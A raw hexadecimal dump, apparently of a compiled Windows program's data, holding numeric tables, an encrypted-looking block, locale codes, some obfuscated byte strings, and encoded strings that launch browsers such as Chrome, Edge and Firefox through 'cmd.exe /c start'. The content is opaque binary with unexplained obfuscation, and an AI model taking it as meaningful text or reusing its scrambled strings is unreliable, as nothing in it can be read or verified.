90c6fa53f000070b3540ba33f0000a0a63ea6a13f0000b0751349a03f0000a0a1bb1a9f3f000020c166269e3f0000c0c257f79d3f0000c0a746829c3f00009081fc4e9c3f00008081b91c9b3f0000e0d8ba279a3f000010a9f2ed993f000040c397b3983f0000c058447b983f0000d02a590b973f0000c06ac0c3963f0000d079999a953f000020d90c5f953f0000009a2011943f0000901df3d2933f000010c594ec923f0000a0d175aa913f00007014a268913f0000b01e2928903f0000c0e80c948f3f0000f0d6a2348f3f0000904231538f3f0000301c6ff28e3f0000407496138e3f0000608bebb28d3f000010420ded8d3f0000e088d50f8d3f000050602ba88c3f0000e048d0cb8c3f000030e306668c3f0000a00f9d868b3f0000d0eeb13b8b3f000020a16a5f8b3f0000304730f28a3f0000604182168a3f000040c07e4b8a3f000040d4cdef893f0000f0ade902893f0000b06dd3b9883f000000147dde883f00006061c274883f00003096baa4873f0000000375ce873f00003028d777873f000040a6c19e863f000090fded39863f0000a00e7661863f0000d079998a853f0000a0ffd732853f000070a00f65853f0000b04cca8d843f0000d0346936843f000030b96d5f843f000040aad086833f00007078992d833f000010f4025a833f0000a0dd4181823f00008055442c823f000000ec0a5b823f0000a061fa85813f0000b0e6c62e813f0000a00b4f5a813f0000c000f887803f000080161a33803f0000301dcd5f803f0000a062dbd9ff3f0000703f0c83ff3f000060ddd1acff3f0000808c9a56ff3f0000003d827fff3f0000105fa728ff3f0000f0b253d0fe3f0000a0b822fbfe3f00008050b2a3fe3f000090fae14afe3f000010f75472fe3f000030769a1dfe3f000010988cc6fd3f0000e04c80eefd3f0000d064e096fd3f0000f06fe3befd3f000080eeca66fd3f0000b090ec0efd3f000090264531fd3f000050602bd8fc3f000020aecc81fc3f000020f0b9aafc3f000080766653fc3f00006061b97bfc3f0000e0102e1dfc3f000030f5c0c1fb3f0000700e52e8fb3f0000d0cc4f97fb3f000070d0d9bdfb3f00007079a964fb3f000000589e02fb3f000030bc6028fb3f000040e6b4d7fa3f000030969efdfa3f000050dcd29bfa3f000090c8dc41fa3f0000404ba16ffa3f000070d46b0afa3f00004064d130fa3f0000d05a90dcf93f00005088e7f9f93f0000d0dc69a3f93f000080a8a24cf93f000080ab8469f93f0000e0f5c112f93f0000d0371f3ef93f000070d1bcdaf83f0000e0a20085f83f0000408caaa1f83f0000a09db64cf83f000030a73868f83f000010c90a14f83f00005053fb3ff83f000020360ad4f73f000090815188f73f0000c03596abf73f0000e022454ff73f00000079d263f73f00003028d707f73f0000a000523af73f0000706204dff63f0000b0dd54f0f63f00008032ee95f63f000000e19eb6f63f000050a95b6bf63f0000708b3e0cf63f0000b0570f21f63f0000f04db6c1f53f000080fe50e4f53f00006049789bf53f0000a01ecdb9f53f0000704ea85cf53f0000f0581072f53f000020de2410f53f0000300ec337f53f0000305976d4f43f0000403f3e8af43f000070f0e3a8f43f0000f09ce94ef43f0000b0f4e36cf43f0000f0f7ce02f43f0000c0765c21f43f000030615dc0f33f00005087fae1f33f000050190683f33f000040e7d7bcf33f000030c1605df33f00004067947ff33f000080c99d18f33f00001048ad39f33f0000005345dbf23f0000605a0dfaf23f0000606e5695f23f000000cfb7b5f23f0000700ce554f23f0000a0b6ac77f23f0000d04d4717f23f0000f0e1ea36f23f0000304368d5f13f0000a061faf5f13f000050ada695f13f000060465ab2f13f0000e0dca052f13f0000e0a0fc72f13f000080b2ee12f13f0000d0c1ed32f13f0000e03ec5d4f03f0000d049a2f4f03f0000a0e21994f03f00008059a3b5f03f0000702ec455f03f000090416876f03f0000f0c2eb16f03f0000a0227a37f03f000050b0ebdbef3f0000a0d66dcbef3f000030342ffbef3f00001099b3eaef3f000040454f9aef3f0000e0982189ef3f0000f0138bb8ef3f000070363ea8ef3f000080202757ef3f000010e26446ef3f0000300b9d76ef3f0000f08bce65ef3f000050e47014ef3f000060843703ef3f0000303cef33ef3f0000c0ebd922ef3f0000105342d0ee3f0000401242c1ee3f0000401946ceee3f0000306876ffee3f0000004f72ecee3f0000d0ed719dee3f0000a0847f8aee3f0000707369bbee3f0000508aa2a9ee3f000040e92e56ee3f00006010e647ee3f0000a08f8a74ee3f000010f75462ee3f0000c0565413ee3f0000b08eef00ee3f0000f02e010eee3f00007007993fee3f00006068f52cee3f0000a0319ad9ed3f0000504309c8ed3f000070fda5faed3f0000101037e5ed3f0000305b2e97ed3f0000d01e9d81ed3f0000002b49b0ed3f0000d0af0fa2ed3f0000408db3aced3f000060739e5fed3f00002072c949ed3f0000a029207bed3f0000e0590e65ed3f0000e0022717ed3f0000b0b4d006ed3f0000504ffd30ed3f0000c0f2c222ed3f0000201fc12ced3f0000703448dfec3f0000b0f258c9ec3f0000e0d911fbec3f0000103a1ce5ec3f000050435797ec3f0000000000000000000000000000008faf92909eb6b88fe9d9231d5a66be8c6a85ac96e5985bf354040f597fb720ee6a6908934fb0aec936b45edd542b87f92cb463a6ad4470c4a2b1313f4f0d9fc0f070676233c4a6d4282572ad3750883e93d4528db5170c36fa173d2ed780923b3c4b9d79da3de790333e07c7cf497830fd35f04190b583dc29a8f152d3cd0738815a13a7b11319d7d618e90415717337f9c5c2b0f92a63fd6c969057002e3e2e3060a323ee5b4e2b911ab67359af59e250ce95850aee472e71a5ec4c8283582d93111d3f4499552814c01d4313c17b23d1130bcfd85244cbb57880b692bd1ace8e79f033007b763a99fa7ac068ff6d23d95ec806e941c0215e660cad18982f362aa8f152d3cd17286505347ae6c1313875291e8de279782c0458e24e7c8c3737e04a81fc38e1242a0f912f9f007b76237fb348b1971b912815971af85f09f7c2510ba10bf08b9f1712876f78902e29157a21b8a0adc7eec4a3a934543720552b5e7b61ee1f5add3240d7d55b42c8ba2997f6c05a88c5992fbc52d666a4d50629c6f0390d1227261104dbcac826d10329a4d53c8e5a1c9d18bd0764553a7b09c0a89e468a5cb40c1d2d1f7531a09b8ac453369eceb470d220a6d218ab10fc341f86890068195738110b0d5c41ae44d425be6d6696b5f74021da3df0d0b4076e1aaa982efaf8b88a2c37eae797db432114c09bc30dfd1b52215d32672f899c2d1f08117ea78677f7c5f7d6d4edadda422e541e19102ec675dd5d660cad18983f2602afd6a94418b63897722eeee3a24a2e2bc08073dc18f529815b4a1153b554339d9c57b2f5a4962309000dc720659c1a3a16bccf1ffc912da190e6a032f7a0122344ce82e51ac317084d4a5fc80cb3276b53747b5f245c106af8d686cf2f3a186cf0c3aee44d4f170e17e3d5d98b5b2608fd9151b0df441e9aa526a388383e34e8aff63ae0db9424a407c3c2bd0cc4d457978272eb855c012a773288d795b5103239577b89b30a17bfdf2640b0e75d0c91090de726316005226af852b648d2cdd0f7200be69d7602299afe0f948c712b267eec7b1d63bc0d581001826b0caf0386182d7dcb737107187ef244e0d3e605848d355b8419fd07f90d210b091ae92492a12aa5d19dfb0b84039379273b76076ad20e1db2133339cebba8e80b5a5632bc52d666a4d53619c67461599125251b9e72203c455aff106a217f062206091ff46dfe6ac0837d331b65e8bb6d0154152097a8e2ad5e030d6e25fe88fb3ff8015a79ca5bb9858e004ae011a7eabe4c04dd65588c94c8330391f7de662c688b11a094ca127026bf05ef8a99304215851ea76fad7942b6eb0309c76b1e8abeb936df2a5b2596abb600c86088ede2022508a495adfedb9831109b1c80703be7b912dcba6644ef903d060a379c75ccd7de11375fd8d7aca66a07768c92ae97aef708ca9593fd2de9ef1a9cf16ee8f5c1d40b68a47be81e2d68043193482b03aa6e06e40dffaaac223c0ede3f9bd044c3e2cc9bffb3e46d73351b2fc6e53d77560818f137e80ac3e7d3d0b8488635342f461d1f8c2dc931235e3b5a0adf65f9020e1f32f9cce07469f309c27cf113e6933f165f28a826a533bbd75e32672f899c3d0fb6fed78a66710b09bfbcd409454dc214918e37e636769a14583d86a9ff952e0eaac0ef57834f0d133ecc833df93f44cd14cb836a149cbc019113bbc3538de2c5971d7cd770441600ad99286b42684b1662708e63d41ef4c27b4f15fba211610bbbe86bfec8d6dd050755b5292f46bc1bbf313f3e3449fa08f660b61e6d2a730a21ccc58816b70809b9ad53741d47640dc8f760cfd7a8ea05dc14359546b3af32c5f394fe125815030158b552b882800498db54e2f8051a123ce80576a1bca51fd8ee28bd5405f7056e836ef941053806df8b0a46e453ba15e1f49d90f9a55014f7a7ec4a87396e26ce9867ead8725021dd76ec0cbfaa97ca7a16d153ad189ac152b0b573efc5040955e8bdcde3a798112d0374ded4e6b1072496237fb83ba8c64c58a49672e5b90bc5f3654f47f16ac3aa973f3978266b0d26878d10e5ff2e086af8d686cf2f2a08742a688c22a138011f75c0705b8b0802353b714ffe4189065d78cd52c6017c0108424d67576a5904e0c7a0efd0c4760a987f6bb39358fc08228fb910b8ba1f190ea2851986992d02c0ac3fe051e10c0f29fecbab5c3bdd0d6e8db6ef16cb7017b5ac09711296d633faf1332cdb5454cc090810a478b204786019b1513c75c414da842ac9fc346d1810573aa1a04f24173f4e5c1b28076b72659419c038563274762ebca3250c147a1fec80a73e7de5728269a91e5f4054172db91645a5ed911ee3abb9ac437b6a0f766f8d591565aa17aa7d160b902873013155b294c604f878861ee8b394f5a705950ffbdc26cf4115ef3ce276ba0f8f7ddeaf0f84888ce917a345ad0f3138337e2c04f624c0405f25aadc860ca7a0857ef3f8ec9855d3f40d7075503ec736d64f7e9f9d420af3da1eca2d3aea79ffa1107bcf8e8f7ded507568ff53258dbcd00083d881e409622e7b581001826b0cdf735e82d5b124cc2676ce52aefd5eca23784a98a4e752ec3e11f91675229da5f2725b13de56a5eb951b23575010c80c8f7fa104db4a55928c7f4e2076ee9e60737b5e420a1deda64909ec6bf9708cab331acc1d96029461ce7ed7be8be556a88a7369a3f8ab3497487232aa036b1855c97484ed92c87da6e60e34b755fa7ea58d7a2b36c0708a3511037cc0dd4c32e6e51c4309ae9773a4bd19158ce628f66704c10c39f9f3a5ee681fe5aef4fd37e6e37034ed849dce59277011c13767b8e7a07fac8eed73a943451342d87f5379f63d04c884b3ec19cdb97e1b1b5cbce1d0ec3d3e00000000000000000000000000004060c0ffffffff1fc0cff7fbfd7ebf3fc02de8fbabb6bd5ec01fd8799ee7797ec08a6e7b0cbc739cc04e3308d4fb21bbc08abf2967b2d3dac03717638c31c6f8c03d8ccbbd3f2e17c1ff2cedb2b4cb32c1d4eabbc0fa2e50c158d0475b9aa06fc1dbb4c732bf6e8ac14b91e4c8f36da9c14c69c6a5e8abc4c1210000000000e0c121fee11ffee1ffc1b50c7e1b353318c2f5d7bd7cddcb37c2e45a38cf16ce53c2b5f5613dd1606fc20b1894ece2c18ac28dc007f52cf0a1c222c9955cc995bcc22541a75f8f0bdac24bb4aee13ab9f1c2f979fb18329c0ec33490988adf8e24c3d82cca97fbd342c3ae70bf5bb61758c37dc871a17cad77c323dbb66ddbb68dc3b9cf44dc45cca4c3cf083bc28eb0c3c323bc8e178c93dac3df2041820409f2c3b4060b686d760ec4c8f1921da2f626c44445b6ed98393fc4ef6a7bd5ed5557c41cdce733358b6ec4b4b8e9e7511186c43aeb505d01879ec47054f35c35cfb5c4f1c8de92027fccc4e659ec2c7616dbc49b86fbe87a42f2c417870e1d3a7408c561ce04eb973321c5246bb5df6ab53fc5c2166ca832b255c581dd090a8f7762c566b8d161b76478c55277ca76a76c97c575c0e26f4616adc525bee55bbee5bbc59fbcd942ad06d6c53d4931832ac5ecc525baa11bbaa1fbc5e6ea23851b6215c61245037c88482ec63da345aa9f133bc6e5ca45bfce8a57c6a5030000000060c6c03f4e8322aa7cc64dcab4f41c9489c691d994e8b0e7a5c6df093f2a4cf8b1c6d9cab7e4b9f2cdc616cb3299b2dbd9c6ea4591135d42f4c6c5e284134e3801c70008c68b28b41ec7eccb28bd8cd22bc705c59de24e7147c795599864b61554c7a31588f7365961c775fa1b5b15637ec7862b527c9b538cc7279ee7799ee799c72b127ebac24fb7c7e2630cc8edabc4c79f0426834b60d2c7270000000000e0c7391e78e08107fec77f3f7efcf8f103c82252150b74c715c8cbf1783c1e8f27c8437d2fbc210d49c8fc2f0ce82a8f5ac8b4b28fddc1316cc8f76cdcf9cdc67dc832cb5c8b19718ec88e189dd038bb90c8521874c3089ca1c879514a29a594b2c8b273bf8435c4c3c883629839570cd3c83675e0f1156be4c84ff18a57bce2f5c8287792e4769204c9f8f074289c1617c95ea949a7807727c9287badd77aad37c90227b9a943f847c9afe22182ed9d57c9ff1058b27dd667c9287fe9977ee977c9257d6637a9ee87c9c6db733b868d97c99ce971beca1da4c95b452a52918ab4c9e11e4a32ee65c5c97f2263768dd9d5c9ab3a9f59dba7e2c939104e38e184f3c9c3d1041d509203cad8f2c568e3bc12ca9a470e2fa4bf2dca684783b8a3413ccaae6bbd817a064fcaff9a5b6a6ea959ca9566efd290fc68cad2b5d9b1e25c7bca5f655d5957d675ca05513b6cd19c84caddb02ec62df496ca6a0000000000a0cac17c395dc362b2cad4e4fbbc4130ccca744eadfea9d5dfca2aed1a08ed1ae8cafa01d5f0c32dfaca2a4551144551f4caa4d791bfed7c07cb063c2a88470511cb7360f062fd9b2ccb51c18aa23f723ecbde6e297be38349cb64e4edf276795bcb754b77dbd2dd56cb58b76251daac61cbbfc84923278d7ccb446fbae9a69b8ecb5906396dfaa399cba5553a320cab94cbf5bcb1253b8aa7cbc422bb079dbeb2cb72a3459b171dcecbb898caf0434bd9cb6e0807789395d4cb2b0000000000e0cb59036bdf5385f3cbc4e8a38f3efa08cc38a80ae7cd611dcc3dab4d5890ce11ccf9b3df3b480c26ccd84cd0df315c3acc6a7c0afab9dd4ecc2b2f8aa2288a42cc1deab2421c8156cc5c1c673430856accb1866eb5f1af7ecc2b2cb9922bb972ccd1ab8c188a2e86cc774fd92d7ee49accc7d2b5c09193aeccfeb953d0e74ea1cc7955f34cd53fb5cc8d0eeb0cbfdec9ccc5e77787b173dccc80af3b61a9c0d0cc895d02b12f6febccaf41e1311814fecc5f62c6eee2c9f2cc57478e1c397204cd749a2f5fefa519cda817cb8be5c512cd9ff07d2c0bdf27cd9f8cadccb6323bcd2e266dd477474ccd7f6b2aaca9b046cd3ac432618eb55bcda18cf6cd68df6ccd9aa1bce329e161cd2ca3389aa2387acd72836f99c2878fcd0a12a639e82381cd1826d7aacfdb9acdce6312f0527caccd8dc5e6efe3cea1cdadb66ddbb66dbbcd643b77802089cccde06326e22e62c6cd1538b282232bd8cd4783daa036a8edcdd9b31dc8f96ce7cde619a76b4b4cf9cd2d3221133221f3cd4f6fdebc79f306ce73f4c743c8181dce4bcc8704d40d13ce82f76449922d29ce229c230fabc93ece66b9fce0dee734ce16c4ab060af14acedc5948951bcd40cea9ed617bd81e56cea18ff1f9189f6fcea33e2e0cd3c765cee4f0bb13333a7bce2d0a9990099970cebb52cd0293fd86ce460a31cb8f689fce3e33ceacdde995ce322a522a4145aacef61c285e1ae8a0ce04f6c7045117b9ce1b6373b98331cece2ed9fd24d9fdc4ce936c2d6402a7ddce0c036dbabf7bd2ce196eefbe292aebce2e0000000000e0cebf9011bf45fcf6ce2ee10eeee00e0ecf9d879649171805cfaf0c7a8d9e191ccf2e71e2d753e214cfa9d0c92788fb2bcf05a4ab63129622cf04e166f33eb839cf4e30ca0d216730cff755b8c90a5147cf8a59c25c5d805fcf98b778628b2756cf5fe32c097d466dcf6b5d083806aa65cfdd8710c618277ccfbb94524a29a574cfdd085291b6e48bcff931b04d2c5583cfc4e96be529df9acfc35558239f2f92cfb9f307d24eb7a9cf3b30e32060c6a1cffaa172da8500b9cf2f1445511445b1cfc3bbc53571fec8cf254441aa24a1c0cfd6c05e8b984cd8cf370c0683c160d0cf084d2b67123ce8cf2f0000000000e0cfbf800103060cf8cf3f0000000000f0cf3f000000000000006c0308560130000043434f4f4e4e4f4f55555454242400000000000000000000ff0000000000c07cbc0000000000c0fcb31f1877000000006161727200000000626267670000000063636161000000007a7a68682d2d4343484853530000000063637373000000006464616100000000646465650000000065656c6c0000000065656e6e0000000065657373000000006666696900000000666672720000000068686565000000006868757500000000696973730000000069697474000000006a6a6161000000006b6b6f6f000000006e6e6c6c000000006e6e6f6f0000000070706c6c00000000707074740000000072726f6f000000007272757500000000686872720000000073736b6b0000000073737171000000007373767600000000747468680000000074747272000000007575727200000000696964640000000075756b6b00000000626265650000000073736c6c0000000065657474000000006c6c7676000000006c6c74740000000066666161000000007676696900000000686879790000000061617a7a0000000065657575000000006d6d6b6b0000000061616666000000006b6b61610000000066666f6f0000000068686969000000006d6d7373000000006b6b6b6b000000006b6b797900000000737377770000000075757a7a00000000747474740000000070706161000000006767757500000000747461610000000074746565000000006b6b6e6e000000006d6d72720000000073736161000000006d6d6e6e0000000067676c6c000000006b6b6f6f6b6b000073737979727200006464696976760000616172722d2d53534141000000000000626267672d2d42424747000000000000636361612d2d454553530000000000007a7a68682d2d54545757000000000000636373732d2d43435a5a000000000000646461612d2d44444b4b000000000000646465652d2d4444454500000000000065656c6c2d2d4747525200000000000065656e6e2d2d55555353000000000000666669692d2d46464949000000000000666672722d2d46465252000000000000686865652d2d49494c4c000000000000686875752d2d48485555000000000000696973732d2d49495353000000000000696974742d2d494954540000000000006a6a61612d2d4a4a50500000000000006b6b6f6f2d2d4b4b52520000000000006e6e6c6c2d2d4e4e4c4c0000000000006e6e62622d2d4e4e4f4f00000000000070706c6c2d2d50504c4c000000000000707074742d2d4242525200000000000072726f6f2d2d52524f4f000000000000727275752d2d52525555000000000000686872722d2d4848525200000000000073736b6b2d2d53534b4b000000000000737371712d2d41414c4c000000000000737376762d2d53534545000000000000747468682d2d54544848000000000000747472722d2d54545252000000000000757572722d2d50504b4b000000000000696964642d2d4949444400000000000075756b6b2d2d55554141000000000000626265652d2d4242595900000000000073736c6c2d2d53534949000000000000656574742d2d454545450000000000006c6c76762d2d4c4c56560000000000006c6c74742d2d4c4c5454000000000000666661612d2d49495252000000000000767669692d2d56564e4e000000000000686879792d2d41414d4d00000000000061617a7a2d2d41415a5a2d2d4c4c616174746e6e00000000656575752d2d454553530000000000006d6d6b6b2d2d4d4d4b4b00000000000074746e6e2d2d5a5a4141000000000000787868682d2d5a5a41410000000000007a7a75752d2d5a5a4141000000000000616166662d2d5a5a41410000000000006b6b61612d2d4747454500000000000066666f6f2d2d46464f4f000000000000686869692d2d49494e4e0000000000006d6d74742d2d4d4d5454000000000000737365652d2d4e4e4f4f0000000000006d6d73732d2d4d4d59590000000000006b6b6b6b2d2d4b4b5a5a0000000000006b6b79792d2d4b4b4747000000000000737377772d2d4b4b454500000000000075757a7a2d2d55555a5a2d2d4c4c616174746e6e00000000747474742d2d5252555500000000000062626e6e2d2d49494e4e000000000000707061612d2d49494e4e000000000000676775752d2d49494e4e000000000000747461612d2d49494e4e000000000000747465652d2d49494e4e0000000000006b6b6e6e2d2d49494e4e0000000000006d6d6c6c2d2d49494e4e0000000000006d6d72722d2d49494e4e000000000000737361612d2d49494e4e0000000000006d6d6e6e2d2d4d4d4e4e000000000000636379792d2d4747424200000000000067676c6c2d2d454553530000000000006b6b6f6f6b6b2d2d49494e4e000000007373797972722d2d53535959000000006464696976762d2d4d4d565600000000717175757a7a2d2d42424f4f000000006e6e73732d2d5a5a41410000000000006d6d69692d2d4e4e5a5a000000000000616172722d2d494951510000000000007a7a68682d2d43434e4e000000000000646465652d2d4343484800000000000065656e6e2d2d47474242000000000000656573732d2d4d4d5858000000000000666672722d2d42424545000000000000696974742d2d434348480000000000006e6e6c6c2d2d424245450000000000006e6e6e6e2d2d4e4e4f4f000000000000707074742d2d50505454000000000000737372722d2d535350502d2d4c4c616174746e6e00000000737376762d2d4646494900000000000061617a7a2d2d41415a5a2d2d4343797972726c6c00000000737365652d2d535345450000000000006d6d73732d2d42424e4e00000000000075757a7a2d2d55555a5a2d2d4343797972726c6c00000000717175757a7a2d2d4545434300000000616172722d2d454547470000000000007a7a68682d2d48484b4b000000000000646465652d2d4141545400000000000065656e6e2d2d41415555000000000000656573732d2d45455353000000000000666672722d2d43434141000000000000737372722d2d535350502d2d4343797972726c6c00000000737365652d2d46464949000000000000717175757a7a2d2d5050454500000000616172722d2d4c4c59590000000000007a7a68682d2d53534747000000000000646465652d2d4c4c555500000000000065656e6e2d2d43434141000000000000656573732d2d47475454000000000000666672722d2d43434848000000000000686872722d2d4242414100000000000073736d6d6a6a2d2d4e4e4f4f00000000616172722d2d44445a5a0000000000007a7a68682d2d4d4d4f4f000000000000646465652d2d4c4c494900000000000065656e6e2d2d4e4e5a5a000000000000656573732d2d43435252000000000000666672722d2d4c4c5555000000000000626273732d2d424241412d2d4c4c616174746e6e0000000073736d6d6a6a2d2d5353454500000000616172722d2d4d4d414100000000000065656e6e2d2d49494545000000000000656573732d2d50504141000000000000666672722d2d4d4d4343000000000000737372722d2d424241412d2d4c4c616174746e6e0000000073736d6d61612d2d4e4e4f4f00000000616172722d2d54544e4e00000000000065656e6e2d2d5a5a4141000000000000656573732d2d44444f4f000000000000737372722d2d424241412d2d4343797972726c6c0000000073736d6d61612d2d5353454500000000616172722d2d4f4f4d4d00000000000065656e6e2d2d4a4a4d4d000000000000656573732d2d5656454500000000000073736d6d73732d2d4646494900000000616172722d2d5959454500000000000065656e6e2d2d43434242000000000000656573732d2d43434f4f00000000000073736d6d6e6e2d2d4646494900000000616172722d2d5353595900000000000065656e6e2d2d42425a5a000000000000656573732d2d50504545000000000000616172722d2d4a4a4f4f00000000000065656e6e2d2d54545454000000000000656573732d2d41415252000000000000616172722d2d4c4c424200000000000065656e6e2d2d5a5a5757000000000000656573732d2d45454343000000000000616172722d2d4b4b575700000000000065656e6e2d2d50504848000000000000656573732d2d43434c4c000000000000616172722d2d41414545000000000000656573732d2d55555959000000000000616172722d2d42424848000000000000656573732d2d50505959000000000000616172722d2d51514141000000000000656573732d2d42424f4f000000000000656573732d2d53535656000000000000656573732d2d48484e4e000000000000656573732d2d4e4e4949000000000000656573732d2d505052520000000000007a7a68682d2d434348485454000000007373727200000000616166662d2d7a7a6161000000000000616172722d2d61616565000000000000616172722d2d62626868000000000000616172722d2d64647a7a000000000000616172722d2d65656767000000000000616172722d2d69697171000000000000616172722d2d6a6a6f6f000000000000616172722d2d6b6b7777000000000000616172722d2d6c6c6262000000000000616172722d2d6c6c7979000000000000616172722d2d6d6d6161000000000000616172722d2d6f6f6d6d000000000000616172722d2d71716161000000000000616172722d2d73736161000000000000616172722d2d73737979000000000000616172722d2d74746e6e000000000000616172722d2d7979656500000000000061617a7a2d2d61617a7a2d2d6363797972726c6c0000000061617a7a2d2d61617a7a2d2d6c6c616174746e6e00000000626265652d2d62627979000000000000626267672d2d6262676700000000000062626e6e2d2d69696e6e000000000000626273732d2d626261612d2d6c6c616174746e6e00000000636361612d2d65657373000000000000636373732d2d63637a7a000000000000636379792d2d67676262000000000000646461612d2d64646b6b000000000000646465652d2d61617474000000000000646465652d2d63636868000000000000646465652d2d64646565000000000000646465652d2d6c6c6969000000000000646465652d2d6c6c75750000000000006464696976762d2d6d6d76760000000065656c6c2d2d6767727200000000000065656e6e2d2d6161757500000000000065656e6e2d2d62627a7a00000000000065656e6e2d2d6363616100000000000065656e6e2d2d6363626200000000000065656e6e2d2d6767626200000000000065656e6e2d2d6969656500000000000065656e6e2d2d6a6a6d6d00000000000065656e6e2d2d6e6e7a7a00000000000065656e6e2d2d7070686800000000000065656e6e2d2d7474747400000000000065656e6e2d2d7575737300000000000065656e6e2d2d7a7a616100000000000065656e6e2d2d7a7a7777000000000000656573732d2d61617272000000000000656573732d2d62626f6f000000000000656573732d2d63636c6c000000000000656573732d2d63636f6f000000000000656573732d2d63637272000000000000656573732d2d64646f6f000000000000656573732d2d65656363000000000000656573732d2d65657373000000000000656573732d2d67677474000000000000656573732d2d68686e6e000000000000656573732d2d6d6d7878000000000000656573732d2d6e6e6969000000000000656573732d2d70706161000000000000656573732d2d70706565000000000000656573732d2d70707272000000000000656573732d2d70707979000000000000656573732d2d73737676000000000000656573732d2d75757979000000000000656573732d2d76766565000000000000656574742d2d65656565000000000000656575752d2d65657373000000000000666661612d2d69697272000000000000666669692d2d6666696900000000000066666f6f2d2d66666f6f000000000000666672722d2d62626565000000000000666672722d2d63636161000000000000666672722d2d63636868000000000000666672722d2d66667272000000000000666672722d2d6c6c7575000000000000666672722d2d6d6d636300000000000067676c6c2d2d65657373000000000000676775752d2d69696e6e000000000000686865652d2d69696c6c000000000000686869692d2d69696e6e000000000000686872722d2d62626161000000000000686872722d2d68687272000000000000686875752d2d68687575000000000000686879792d2d61616d6d000000000000696964642d2d69696464000000000000696973732d2d69697373000000000000696974742d2d63636868000000000000696974742d2d696974740000000000006a6a61612d2d6a6a70700000000000006b6b61612d2d676765650000000000006b6b6b6b2d2d6b6b7a7a0000000000006b6b6e6e2d2d69696e6e0000000000006b6b6f6f6b6b2d2d69696e6e000000006b6b6f6f2d2d6b6b72720000000000006b6b79792d2d6b6b67670000000000006c6c74742d2d6c6c74740000000000006c6c76762d2d6c6c76760000000000006d6d69692d2d6e6e7a7a0000000000006d6d6b6b2d2d6d6d6b6b0000000000006d6d6c6c2d2d69696e6e0000000000006d6d6e6e2d2d6d6d6e6e0000000000006d6d72722d2d69696e6e0000000000006d6d73732d2d62626e6e0000000000006d6d73732d2d6d6d79790000000000006d6d74742d2d6d6d74740000000000006e6e62622d2d6e6e6f6f0000000000006e6e6c6c2d2d626265650000000000006e6e6c6c2d2d6e6e6c6c0000000000006e6e6e6e2d2d6e6e6f6f0000000000006e6e73732d2d7a7a6161000000000000707061612d2d69696e6e00000000000070706c6c2d2d70706c6c000000000000707074742d2d62627272000000000000707074742d2d70707474000000000000717175757a7a2d2d62626f6f00000000717175757a7a2d2d6565636300000000717175757a7a2d2d707065650000000072726f6f2d2d72726f6f000000000000727275752d2d72727575000000000000737361612d2d69696e6e000000000000737365652d2d66666969000000000000737365652d2d6e6e6f6f000000000000737365652d2d7373656500000000000073736b6b2d2d73736b6b00000000000073736c6c2d2d7373696900000000000073736d6d61612d2d6e6e6f6f0000000073736d6d61612d2d737365650000000073736d6d6a6a2d2d6e6e6f6f0000000073736d6d6a6a2d2d737365650000000073736d6d6e6e2d2d666669690000000073736d6d73732d2d6666696900000000737371712d2d61616c6c000000000000737372722d2d626261612d2d6363797972726c6c00000000737372722d2d626261612d2d6c6c616174746e6e00000000737372722d2d737370702d2d6363797972726c6c00000000737372722d2d737370702d2d6c6c616174746e6e00000000737376762d2d66666969000000000000737376762d2d73736565000000000000737377772d2d6b6b65650000000000007373797972722d2d7373797900000000747461612d2d69696e6e000000000000747465652d2d69696e6e000000000000747468682d2d7474686800000000000074746e6e2d2d7a7a6161000000000000747472722d2d74747272000000000000747474742d2d7272757500000000000075756b6b2d2d75756161000000000000757572722d2d70706b6b00000000000075757a7a2d2d75757a7a2d2d6363797972726c6c0000000075757a7a2d2d75757a7a2d2d6c6c616174746e6e00000000767669692d2d76766e6e000000000000787868682d2d7a7a61610000000000007a7a68682d2d636368687373000000007a7a68682d2d636368687474000000007a7a68682d2d63636e6e0000000000007a7a68682d2d68686b6b0000000000007a7a68682d2d6d6d6f6f0000000000007a7a68682d2d737367670000000000007a7a68682d2d747477770000000000007a7a75752d2d7a7a616100000000000000000000000000004d22151305000d4e1a1b1e10087f3e070a0b1804536e1a7411011e1e0b1b773e0758020f1b584e021d096131001c0932320729221d5b1a0604191d05160863031c1901600c4c05020e4567220608044609632b1a1d02084a160d1a1e1e1a0206061816091173320707131b461a0604191d0536002a05052a481c00047f1e1f1e3000000000000000432c011a110b1a59792d09155f1a4111001c050a02151d06014157555a00005a4b091d1f4058071e090b0d0c0b010169070a0000470211547307061b070947541b004f4c03010967690718170d050d445307061b070947501f1c1a1d1d06016ef017e681810100001001118081010000681c000403491500580000594a0b020c080714140f0c084b4d0c02425f5e5e18187000007c7c000063636d6d64642e2e65657878656520202f2f636320207373747461617272747420206d6d6969636372726f6f73736f6f666674742d2d65656464676765653a3a2525737300000000222225257373222220202222252573732222000000000000432b1a1d02083a083e0d030211233e07316f300000000000432b1a1d02083a083e0d030211233e07316e3100000000006363686872726f6f6d6d65652e2e656578786565000000006d6d737365656464676765652e2e656578786565000000006f6f70706565727261612e2e65657878656500000000000076766969767661616c6c646469692e2e65657878656500004d22151305000d363e070a0b18342f0d1200730000000000666669697272656566666f6f78782e2e6565787865650000490c0334130c086569696565787870706c6c6f6f727265652e2e65657878656500000000000000004131001c050a02151d06012834130c08323e070a0b187700761306171b1d4e686a1e541b004f4c030109670000000000000000000000307031b2c30065a6c3006aa9c3005497c30071b2c30071b2c30071b2c30071b2c3002227968a1d0400007499ec01020200009479ec0108080000f01dec012828000000000000000000002227968a1b0200009061f00101010000e81cf5010505000010e5f4012020000000000000000000002227968a1b0200009061f001010100006c98f50105050000986cf5012020000000000000000000002227968a1b0200009061f00101010000ec1ff2010505000018ecf5012020000000000000000000002227968a1d0400007499ec01020200001ceff201080800007083f2012828000000000000000000002227968a1b0200009061f00101010000a052f30105050000c83af3013030000000000000000000002227968a1b0200009061f0010101000020d2f3010505000048baf3013030000000000000000000002227968a1b0200009061f00101010000a051f00105050000c839f001303000000000000000000000010100000202000003030000040400000505000006060000070700000808000009090000000000000000000000000000000000000000e0a3430000000000003c3c00000000000080800000000000f00fff0000000000f08f7f0000000000f00fff0000000000f08f7f0000000000f0cf3f00000000000000ff00000000000080800000000000f00f000000000000f807ff0000000000f807ff0000000000f8877f00000000000808000000000000f04fbf00000000000080b434000000000000fffc030000000000fefd0300000000003535000000000000ff0000000000f00f00000000000010100000000000f0ff0f00000000000808000000000000000000000000f807000000ff0000f807000000ff00000000000080800000000000008080000000000494d040000000000494d04000000000c85850c000000000c85850c00000000000f00fff00000000000000000000000000f08f7f00000000000000000000000000f8877f00000000000000ff0000000000f00f0000000000000000fffc030000000000000000000000000001010000000000000000000000000000000000e0a26cc8d93f000000000000003c454cdad6c394503e0000000000000000000000000000404000000000000000000000000000f0cf3f00000000000000000000000000